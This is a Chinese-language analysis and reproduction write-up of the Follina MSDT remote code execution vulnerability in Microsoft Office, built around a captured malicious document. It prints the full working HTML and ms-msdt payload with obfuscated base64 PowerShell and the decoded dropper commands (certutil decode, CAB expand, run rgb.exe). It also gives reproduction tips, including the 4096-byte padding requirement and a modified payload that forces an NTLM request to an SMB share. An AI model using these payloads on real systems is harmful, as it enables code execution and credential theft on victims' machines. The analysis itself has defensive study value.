doc改名zip解压,搜索远程加载的地址定位到word_rels\document.xml.rels

通过查看app.any.run沙箱捕获的请求地址内容,查看如下

中间的内容是一段powershell,解码后如下

<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


    window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>


</body>
</html>


////////////////////
powershell IEX运行
$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))




///////////////////
base64解码内容:
$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe"; # 隐藏窗口杀死msdt.exe
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe"; # 进入public目录,循环遍历 RAR 文件中的文件,查找编码 CAB


文件的 Base64 字符串
将此 Base64 编码的 CAB 文件存储为1.t
解码Base64编码的CAB文件保存为1.c
将1.c CAB文件展开到当前目录,最后:
执行rgb.exe(大概压缩在1.c CAB文件里面)

运行了rgb.exe后会释放几个文件,最后调用csc编译
(cs太长了就不贴出来了)





msdt微软官方参数解释如下:



param参数貌似微软没公开怎么调用,只给了架构图

漏洞复现

参考链接:
https://huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug
https://benjamin-altpeter.de/shell-openexternal-dangers/
https://github.com/JohnHammond/msdt-follina

tips:html注释内容不能少于4096字节
将原payload修改为以下可以远程请求获取NTLM

ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\\\\192.168.92.129\\sharp\\calc.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTO"



执行命令和上线


踩坑:powershell语句太长base64编码执行不成功报错如下